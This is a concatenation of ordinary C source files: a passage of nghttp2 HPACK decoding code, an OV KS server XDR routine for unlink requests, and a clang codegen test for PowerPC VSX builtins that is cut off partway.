NGHTTP2_TOKEN_AUTHORIZATION; } break; case 's': if (memeq("accept-range", name, 12)) { return NGHTTP2_TOKEN_ACCEPT_RANGES; } break; } break; case 14: switch (name[13]) { case 'h': if (memeq("content-lengt", name, 13)) { return NGHTTP2_TOKEN_CONTENT_LENGTH; } break; case 't': if (memeq("accept-charse", name, 13)) { return NGHTTP2_TOKEN_ACCEPT_CHARSET; } break; } break; case 15: switch (name[14]) { case 'e': if (memeq("accept-languag", name, 14)) { return NGHTTP2_TOKEN_ACCEPT_LANGUAGE; } break; case 'g': if (memeq("accept-encodin", name, 14)) { return NGHTTP2_TOKEN_ACCEPT_ENCODING; } break; } break; case 16: switch (name[15]) { case 'e': if (memeq("content-languag", name, 15)) { return NGHTTP2_TOKEN_CONTENT_LANGUAGE; } if (memeq("www-authenticat", name, 15)) { return NGHTTP2_TOKEN_WWW_AUTHENTICATE; } break; case 'g': if (memeq("content-encodin", name, 15)) { return NGHTTP2_TOKEN_CONTENT_ENCODING; } break; case 'n': if (memeq("content-locatio", name, 15)) { return NGHTTP2_TOKEN_CONTENT_LOCATION; } if (memeq("proxy-connectio", name, 15)) { return NGHTTP2_TOKEN_PROXY_CONNECTION; } break; } break; case 17: switch (name[16]) { case 'e': if (memeq("if-modified-sinc", name, 16)) { return NGHTTP2_TOKEN_IF_MODIFIED_SINCE; } break; case 'g': if (memeq("transfer-encodin", name, 16)) { return NGHTTP2_TOKEN_TRANSFER_ENCODING; } break; } break; case 18: switch (name[17]) { case 'e': if (memeq("proxy-authenticat", name, 17)) { return NGHTTP2_TOKEN_PROXY_AUTHENTICATE; } break; } break; case 19: switch (name[18]) { case 'e': if (memeq("if-unmodified-sinc", name, 18)) { return NGHTTP2_TOKEN_IF_UNMODIFIED_SINCE; } break; case 'n': if (memeq("content-dispositio", name, 18)) { return NGHTTP2_TOKEN_CONTENT_DISPOSITION; } if (memeq("proxy-authorizatio", name, 18)) { return NGHTTP2_TOKEN_PROXY_AUTHORIZATION; } break; } break; case 25: switch (name[24]) { case 'y': if (memeq("strict-transport-securit", name, 24)) { return NGHTTP2_TOKEN_STRICT_TRANSPORT_SECURITY; } break; } break; case 27: switch (name[26]) { case 'n': if (memeq("access-control-allow-origi", name, 26)) { return NGHTTP2_TOKEN_ACCESS_CONTROL_ALLOW_ORIGIN; } break; } break; } return -1; } ssize_t nghttp2_hd_huff_decode(nghttp2_hd_huff_decode_context *ctx, nghttp2_buf *buf, const uint8_t *src, size_t srclen, int final) { size_t i; /* We use the decoding algorithm described in http://graphics.ics.uci.edu/pub/Prefix.pdf */ for (i = 0; i < srclen; ++i) { const nghttp2_huff_decode *t; t = &huff_decode_table[ctx->state][src[i] >> 4]; if (t->flags & NGHTTP2_HUFF_FAIL) { return NGHTTP2_ERR_HEADER_COMP; } if (t->flags & NGHTTP2_HUFF_SYM) { *buf->last++ = t->sym; } t = &huff_decode_table[t->state][src[i] & 0xf]; if (t->flags & NGHTTP2_HUFF_FAIL) { return NGHTTP2_ERR_HEADER_COMP; } if (t->flags & NGHTTP2_HUFF_SYM) { *buf->last++ = t->sym; } ctx->state = t->state; ctx->accept = (t->flags & NGHTTP2_HUFF_ACCEPTED) != 0; } if (final && !ctx->accept) { return NGHTTP2_ERR_HEADER_COMP; } return (ssize_t)i; } static void *default_malloc(size_t size, void *mem_user_data) { (void)mem_user_data; return malloc(size); } static void default_free(void *ptr, void *mem_user_data) { (void)mem_user_data; free(ptr); } static void *default_calloc(size_t nmemb, size_t size, void *mem_user_data) { (void)mem_user_data; return calloc(nmemb, size); } static void *default_realloc(void *ptr, size_t size, void *mem_user_data) { (void)mem_user_data; return realloc(ptr, size); } void nghttp2_buf_init(nghttp2_buf *buf) { buf->begin = NULL; buf->end = NULL; buf->pos = NULL; buf->last = NULL; buf->mark = NULL; } static int hd_ringbuf_init(nghttp2_hd_ringbuf *ringbuf, size_t bufsize, nghttp2_mem *mem) { size_t size; for (size = 1; size < bufsize; size <<= 1) ; ringbuf->buffer = nghttp2_mem_malloc(mem, sizeof(nghttp2_hd_entry *) * size); if (ringbuf->buffer == NULL) { return NGHTTP2_ERR_NOMEM; } ringbuf->mask = size - 1; ringbuf->first = 0; ringbuf->len = 0; return 0; } static int hd_context_init(nghttp2_hd_context *context, nghttp2_mem *mem) { int rv; context->mem = mem; context->bad = 0; context->hd_table_bufsize_max = NGHTTP2_HD_DEFAULT_MAX_BUFFER_SIZE; rv = hd_ringbuf_init( &context->hd_table, context->hd_table_bufsize_max / NGHTTP2_HD_ENTRY_OVERHEAD, mem); if (rv != 0) { return rv; } context->hd_table_bufsize = 0; context->next_seq = 0; return 0; } static nghttp2_mem mem_default = {NULL, default_malloc, default_free, default_calloc, default_realloc}; nghttp2_mem *nghttp2_mem_default(void) { return &mem_default; } int nghttp2_hd_inflate_init(nghttp2_hd_inflater *inflater, nghttp2_mem *mem) { int rv; rv = hd_context_init(&inflater->ctx, mem); if (rv != 0) { goto fail; } inflater->settings_hd_table_bufsize_max = NGHTTP2_HD_DEFAULT_MAX_BUFFER_SIZE; inflater->min_hd_table_bufsize_max = UINT32_MAX; inflater->nv_name_keep = NULL; inflater->nv_value_keep = NULL; inflater->opcode = NGHTTP2_HD_OPCODE_NONE; inflater->state = NGHTTP2_HD_STATE_INFLATE_START; nghttp2_buf_init(&inflater->namebuf); nghttp2_buf_init(&inflater->valuebuf); inflater->namercbuf = NULL; inflater->valuercbuf = NULL; inflater->huffman_encoded = 0; inflater->index = 0; inflater->left = 0; inflater->shift = 0; inflater->index_required = 0; inflater->no_index = 0; return 0; fail: return rv; } int nghttp2_hd_inflate_new(nghttp2_hd_inflater **inflater_ptr) { return nghttp2_hd_inflate_new2(inflater_ptr, NULL); } int nghttp2_hd_inflate_new2(nghttp2_hd_inflater **inflater_ptr, nghttp2_mem *mem) { int rv; nghttp2_hd_inflater *inflater; if (mem == NULL) { mem = nghttp2_mem_default(); } inflater = nghttp2_mem_malloc(mem, sizeof(nghttp2_hd_inflater)); if (inflater == NULL) { return NGHTTP2_ERR_NOMEM; } rv = nghttp2_hd_inflate_init(inflater, mem); if (rv != 0) { nghttp2_mem_free(mem, inflater); return rv; } *inflater_ptr = inflater; return 0; }
783600.c
/* * ksxdr_getserver.c * * Created on: 12.02.2013 * Author: lars */ #include "ksxdr.h" #include "ksxdr_config.h" #include "ks_logfile.h" #include "ov_result.h" #include "ov_macros.h" #include "KSDATAPACKET_xdrhandling.h" #include "ov_ksserver_backend.h" #include "ksbase_helper.h" /* * XDR routine for OV_UNLINK_ITEM */ OV_RESULT xdr_read_OV_UNLINK_ITEM (KS_DATAPACKET* dataReceived, OV_UNLINK_ITEM* pitem) { OV_RESULT result; result = KS_DATAPACKET_read_xdr_string_tomemstack_wolength(dataReceived, &pitem->link_path); if(Ov_Fail(result)) return result; return KS_DATAPACKET_read_xdr_string_tomemstack_wolength(dataReceived, &pitem->element_path); } OV_RESULT xdr_write_OV_UNLINK_ITEM (KS_DATAPACKET* dataPacket, OV_UNLINK_ITEM* pitem) { OV_RESULT result; result = KS_DATAPACKET_write_xdr_string(dataPacket, &pitem->link_path); if(Ov_Fail(result)) return result; return KS_DATAPACKET_write_xdr_string(dataPacket, &pitem->element_path); } /* * xdr routine for decoding unlink parameters */ OV_RESULT ksxdr_unlink_decodeparams(KS_DATAPACKET* dataReceived, OV_UNLINK_PAR* params) { OV_RESULT result; OV_UINT i; result = KS_DATAPACKET_read_xdr_uint(dataReceived, &params->items_len); if(Ov_Fail(result)) return result; params->items_val = ov_memstack_alloc(params->items_len * sizeof(OV_UNLINK_ITEM)); if(!params->items_val) return OV_ERR_HEAPOUTOFMEMORY; for(i=0; i<params->items_len; i++) { result = xdr_read_OV_UNLINK_ITEM(dataReceived, &params->items_val[i]); if(Ov_Fail(result)) return result; } return OV_ERR_OK; } /* * routine to encode the results */ OV_RESULT ksxdr_unlink_encoderesults(KS_DATAPACKET* serviceAnswer, OV_UNLINK_RES* results) { switch(results->result) { case OV_ERR_OK: return KS_DATAPACKET_write_xdr_array(serviceAnswer, (void**) &results->results_val, sizeof(OV_RESULT), &results->results_len, (xdr_writefncptr) &KS_DATAPACKET_write_xdr_int); default: break; } return OV_ERR_OK; } /* * this routine decodes the params, executes the service and encodes the results */ OV_RESULT ksxdr_unlink(const OV_UINT version, const OV_TICKET* pticket, KS_DATAPACKET* dataReceived, KS_DATAPACKET* serviceAnswer, OV_UINT* msgState, OV_UINT* ksErrCode) { /* * parameter and result objects */ OV_UNLINK_PAR params; OV_UNLINK_RES results; OV_RESULT fncresult; /* * decode the parameters */ ov_memstack_lock(); fncresult = ksxdr_unlink_decodeparams(dataReceived, &params); if(Ov_OK(fncresult)) { /* * properly decoded, call service function and send reply */ ov_ksserver_unlink(version, pticket, &params, &results); *ksErrCode = results.result; fncresult = ksxdr_unlink_encoderesults(serviceAnswer, &results); ov_memstack_unlock(); return OV_ERR_OK; } ov_memstack_unlock(); return fncresult; }
936995.c
// REQUIRES: powerpc-registered-target // RUN: %clang_cc1 -faltivec -target-feature +vsx -triple powerpc64-unknown-unknown -emit-llvm %s -o - | FileCheck %s // RUN: %clang_cc1 -faltivec -target-feature +vsx -triple powerpc64le-unknown-unknown -emit-llvm %s -o - | FileCheck %s -check-prefix=CHECK-LE vector signed char vsc = { -8, 9, -10, 11, -12, 13, -14, 15, -0, 1, -2, 3, -4, 5, -6, 7}; vector unsigned char vuc = { 8, 9, 10, 11, 12, 13, 14, 15, 0, 1, 2, 3, 4, 5, 6, 7}; vector bool char vbc = { 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1 }; vector float vf = { -1.5, 2.5, -3.5, 4.5 }; vector double vd = { 3.5, -7.5 }; vector signed int vsi = { -1, 2, -3, 4 }; vector unsigned int vui = { 0, 1, 2, 3 }; vector bool long long vbll = { 1, 0 }; vector signed long long vsll = { 255LL, -937LL }; vector unsigned long long vull = { 1447LL, 2894LL }; vector signed short vss = { -1, 2, -3, 4, -5, 6, -7, 8 }; vector unsigned short vus = { 0, 1, 2, 3, 4, 5, 6, 7 }; double d = 23.4; signed char sc = -128; unsigned char uc = 1; signed short ss = -32768; unsigned short us = 1; vector float res_vf; vector double res_vd; vector signed int res_vsi; vector unsigned int res_vui; vector bool int res_vbi; vector bool long long res_vbll; vector signed long long res_vsll; vector unsigned long long res_vull; vector signed short res_vss; vector unsigned short res_vus; vector bool char res_vbc; vector signed char res_vsc; vector unsigned char res_vuc; double res_d; signed int res_si; unsigned int res_ui; signed char res_sc; unsigned char res_uc; signed short res_ss; unsigned short res_us; void dummy() { } void test1() { // CHECK-LABEL: define void @test1 // CHECK-LE-LABEL: define void @test1 res_vf = vec_abs(vf); // CHECK: call <4 x float> @llvm.fabs.v4f32(<4 x float> %{{[0-9]*}}) // CHECK-LE: call <4 x float> @llvm.fabs.v4f32(<4 x float> %{{[0-9]*}}) dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_add(vd, vd); // CHECK: fadd <2 x double> // CHECK-LE: fadd <2 x double> res_vd = vec_and(vbll, vd); // CHECK: and <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> // CHECK-LE: and <2 x i64> // CHECK-LE: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> res_vd = vec_and(vd, vbll); // CHECK: and <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> // CHECK-LE: and <2 x i64> // CHECK-LE: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> res_vd = vec_and(vd, vd); // CHECK: and <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> // CHECK-LE: and <2 x i64> // CHECK-LE: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_andc(vbll, vd); // CHECK: bitcast <2 x double> %{{[0-9]*}} to <2 x i64> // CHECK: xor <2 x i64> %{{[0-9]*}}, <i64 -1, i64 -1> // CHECK: and <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> // CHECK-LE: bitcast <2 x double> %{{[0-9]*}} to <2 x i64> // CHECK-LE: xor <2 x i64> %{{[0-9]*}}, <i64 -1, i64 -1> // CHECK-LE: and <2 x i64> // CHECK-LE: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_andc(vd, vbll); // CHECK: bitcast <2 x double> %{{[0-9]*}} to <2 x i64> // CHECK: xor <2 x i64> %{{[0-9]*}}, <i64 -1, i64 -1> // CHECK: and <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> // CHECK-LE: bitcast <2 x double> %{{[0-9]*}} to <2 x i64> // CHECK-LE: xor <2 x i64> %{{[0-9]*}}, <i64 -1, i64 -1> // CHECK-LE: and <2 x i64> // CHECK-LE: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> dummy(); // CHECK: call void @dummy() res_vd = vec_andc(vd, vd); // CHECK: bitcast <2 x double> %{{[0-9]*}} to <2 x i64> // CHECK: xor <2 x i64> %{{[0-9]*}}, <i64 -1, i64 -1> // CHECK: and <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]*}} to <2 x double> dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_ceil(vd); // CHECK: call <2 x double> @llvm.ceil.v2f64(<2 x double> %{{[0-9]*}}) // CHECK-LE: call <2 x double> @llvm.ceil.v2f64(<2 x double> %{{[0-9]*}}) res_vf = vec_ceil(vf); // CHECK: call <4 x float> @llvm.ceil.v4f32(<4 x float> %{{[0-9]*}}) // CHECK-LE: call <4 x float> @llvm.ceil.v4f32(<4 x float> %{{[0-9]*}}) res_vbll = vec_cmpeq(vd, vd); // CHECK: call <2 x i64> @llvm.ppc.vsx.xvcmpeqdp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) // CHECK-LE: call <2 x i64> @llvm.ppc.vsx.xvcmpeqdp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) res_vbi = vec_cmpeq(vf, vf); // CHECK: call <4 x i32> @llvm.ppc.vsx.xvcmpeqsp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) // CHECK-LE: call <4 x i32> @llvm.ppc.vsx.xvcmpeqsp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) res_vbll = vec_cmpge(vd, vd); // CHECK: call <2 x i64> @llvm.ppc.vsx.xvcmpgedp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) // CHECK-LE: call <2 x i64> @llvm.ppc.vsx.xvcmpgedp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) res_vbi = vec_cmpge(vf, vf); // CHECK: call <4 x i32> @llvm.ppc.vsx.xvcmpgesp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) // CHECK-LE: call <4 x i32> @llvm.ppc.vsx.xvcmpgesp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) res_vbll = vec_cmpgt(vd, vd); // CHECK: call <2 x i64> @llvm.ppc.vsx.xvcmpgtdp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) // CHECK-LE: call <2 x i64> @llvm.ppc.vsx.xvcmpgtdp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) res_vbi = vec_cmpgt(vf, vf); // CHECK: call <4 x i32> @llvm.ppc.vsx.xvcmpgtsp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) // CHECK-LE: call <4 x i32> @llvm.ppc.vsx.xvcmpgtsp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) res_vbll = vec_cmple(vd, vd); // CHECK: call <2 x i64> @llvm.ppc.vsx.xvcmpgedp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) // CHECK-LE: call <2 x i64> @llvm.ppc.vsx.xvcmpgedp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) res_vbi = vec_cmple(vf, vf); // CHECK: call <4 x i32> @llvm.ppc.vsx.xvcmpgesp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) // CHECK-LE: call <4 x i32> @llvm.ppc.vsx.xvcmpgesp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) res_vbll = vec_cmplt(vd, vd); // CHECK: call <2 x i64> @llvm.ppc.vsx.xvcmpgtdp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) // CHECK-LE: call <2 x i64> @llvm.ppc.vsx.xvcmpgtdp(<2 x double> %{{[0-9]*}}, <2 x double> %{{[0-9]*}}) res_vbi = vec_cmplt(vf, vf); // CHECK: call <4 x i32> @llvm.ppc.vsx.xvcmpgtsp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) // CHECK-LE: call <4 x i32> @llvm.ppc.vsx.xvcmpgtsp(<4 x float> %{{[0-9]*}}, <4 x float> %{{[0-9]*}}) /* vec_cpsgn */ res_vf = vec_cpsgn(vf, vf); // CHECK: call <4 x float> @llvm.copysign.v4f32(<4 x float> %{{.+}}, <4 x float> %{{.+}}) // CHECK-LE: call <4 x float> @llvm.copysign.v4f32(<4 x float> %{{.+}}, <4 x float> %{{.+}}) res_vd = vec_cpsgn(vd, vd); // CHECK: call <2 x double> @llvm.copysign.v2f64(<2 x double> %{{.+}}, <2 x double> %{{.+}}) // CHECK-LE: call <2 x double> @llvm.copysign.v2f64(<2 x double> %{{.+}}, <2 x double> %{{.+}}) /* vec_div */ res_vsll = vec_div(vsll, vsll); // CHECK: sdiv <2 x i64> // CHECK-LE: sdiv <2 x i64> res_vull = vec_div(vull, vull); // CHECK: udiv <2 x i64> // CHECK-LE: udiv <2 x i64> res_vf = vec_div(vf, vf); // CHECK: fdiv <4 x float> // CHECK-LE: fdiv <4 x float> res_vd = vec_div(vd, vd); // CHECK: fdiv <2 x double> // CHECK-LE: fdiv <2 x double> /* vec_max */ res_vf = vec_max(vf, vf); // CHECK: @llvm.ppc.vsx.xvmaxsp // CHECK-LE: @llvm.ppc.vsx.xvmaxsp res_vd = vec_max(vd, vd); // CHECK: @llvm.ppc.vsx.xvmaxdp // CHECK-LE: @llvm.ppc.vsx.xvmaxdp res_vf = vec_vmaxfp(vf, vf); // CHECK: @llvm.ppc.vsx.xvmaxsp // CHECK-LE: @llvm.ppc.vsx.xvmaxsp /* vec_min */ res_vf = vec_min(vf, vf); // CHECK: @llvm.ppc.vsx.xvminsp // CHECK-LE: @llvm.ppc.vsx.xvminsp res_vd = vec_min(vd, vd); // CHECK: @llvm.ppc.vsx.xvmindp // CHECK-LE: @llvm.ppc.vsx.xvmindp res_vf = vec_vminfp(vf, vf); // CHECK: @llvm.ppc.vsx.xvminsp // CHECK-LE: @llvm.ppc.vsx.xvminsp res_d = __builtin_vsx_xsmaxdp(d, d); // CHECK: @llvm.ppc.vsx.xsmaxdp // CHECK-LE: @llvm.ppc.vsx.xsmaxdp res_d = __builtin_vsx_xsmindp(d, d); // CHECK: @llvm.ppc.vsx.xsmindp // CHECK-LE: @llvm.ppc.vsx.xsmindp /* vec_perm */ res_vsll = vec_perm(vsll, vsll, vuc); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_perm(vull, vull, vuc); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vbll = vec_perm(vbll, vbll, vuc); // CHECK: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> // CHECK-LE: xor <16 x i8> // CHECK-LE: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> res_vf = vec_round(vf); // CHECK: call <4 x float> @llvm.round.v4f32(<4 x float> // CHECK-LE: call <4 x float> @llvm.round.v4f32(<4 x float> res_vd = vec_round(vd); // CHECK: call <2 x double> @llvm.round.v2f64(<2 x double> // CHECK-LE: call <2 x double> @llvm.round.v2f64(<2 x double> res_vd = vec_perm(vd, vd, vuc); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vd = vec_splat(vd, 1); // CHECK: [[T1:%.+]] = bitcast <2 x double> {{.+}} to <4 x i32> // CHECK: [[T2:%.+]] = bitcast <2 x double> {{.+}} to <4 x i32> // CHECK: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> // CHECK-LE: xor <16 x i8> // CHECK-LE: [[T1:%.+]] = bitcast <2 x double> {{.+}} to <4 x i32> // CHECK-LE: [[T2:%.+]] = bitcast <2 x double> {{.+}} to <4 x i32> // CHECK-LE: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> res_vbll = vec_splat(vbll, 1); // CHECK: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> // CHECK-LE: xor <16 x i8> // CHECK-LE: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> res_vsll = vec_splat(vsll, 1); // CHECK: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> // CHECK-LE: xor <16 x i8> // CHECK-LE: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> res_vull = vec_splat(vull, 1); // CHECK: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> // CHECK-LE: xor <16 x i8> // CHECK-LE: [[T1:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: [[T2:%.+]] = bitcast <2 x i64> {{.+}} to <4 x i32> // CHECK-LE: call <4 x i32> @llvm.ppc.altivec.vperm(<4 x i32> [[T1]], <4 x i32> [[T2]], <16 x i8> res_vsi = vec_pack(vsll, vsll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vui = vec_pack(vull, vull); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vbi = vec_pack(vbll, vbll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vsll = vec_vperm(vsll, vsll, vuc); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_vperm(vull, vull, vuc); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vd = vec_vperm(vd, vd, vuc); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm /* vec_vsx_ld */ res_vsi = vec_vsx_ld(0, &vsi); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vui = vec_vsx_ld(0, &vui); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vf = vec_vsx_ld (0, &vf); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vsll = vec_vsx_ld(0, &vsll); // CHECK: @llvm.ppc.vsx.lxvd2x // CHECK-LE: @llvm.ppc.vsx.lxvd2x res_vull = vec_vsx_ld(0, &vull); // CHECK: @llvm.ppc.vsx.lxvd2x // CHECK-LE: @llvm.ppc.vsx.lxvd2x res_vd = vec_vsx_ld(0, &vd); // CHECK: @llvm.ppc.vsx.lxvd2x // CHECK-LE: @llvm.ppc.vsx.lxvd2x res_vull = vec_vsx_ld(0, &vull); // CHECK: @llvm.ppc.vsx.lxvd2x // CHECK-LE: @llvm.ppc.vsx.lxvd2x res_vd = vec_vsx_ld(0, &vd); // CHECK: @llvm.ppc.vsx.lxvd2x // CHECK-LE: @llvm.ppc.vsx.lxvd2x res_vss = vec_vsx_ld(0, &vss); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vss = vec_vsx_ld(0, &ss); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vus = vec_vsx_ld(0, &vus); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vus = vec_vsx_ld(0, &us); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vbc = vec_vsx_ld(0, &vbc); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vsc = vec_vsx_ld(0, &vsc); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vuc = vec_vsx_ld(0, &vuc); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vsc = vec_vsx_ld(0, &sc); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x res_vuc = vec_vsx_ld(0, &uc); // CHECK: @llvm.ppc.vsx.lxvw4x // CHECK-LE: @llvm.ppc.vsx.lxvw4x /* vec_vsx_st */ vec_vsx_st(vsi, 0, &res_vsi); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vsi, 0, &res_si); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vui, 0, &res_vui); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vui, 0, &res_ui); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vf, 0, &res_vf); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vsll, 0, &res_vsll); // CHECK: @llvm.ppc.vsx.stxvd2x // CHECK-LE: @llvm.ppc.vsx.stxvd2x vec_vsx_st(vull, 0, &res_vull); // CHECK: @llvm.ppc.vsx.stxvd2x // CHECK-LE: @llvm.ppc.vsx.stxvd2x vec_vsx_st(vd, 0, &res_vd); // CHECK: @llvm.ppc.vsx.stxvd2x // CHECK-LE: @llvm.ppc.vsx.stxvd2x vec_vsx_st(vss, 0, &res_vss); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vss, 0, &res_ss); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vus, 0, &res_vus); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vus, 0, &res_us); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vsc, 0, &res_vsc); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vsc, 0, &res_sc); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vuc, 0, &res_vuc); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vuc, 0, &res_uc); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vbc, 0, &res_vbc); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vbc, 0, &res_sc); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x vec_vsx_st(vbc, 0, &res_uc); // CHECK: @llvm.ppc.vsx.stxvw4x // CHECK-LE: @llvm.ppc.vsx.stxvw4x /* vec_and */ res_vsll = vec_and(vsll, vsll); // CHECK: and <2 x i64> // 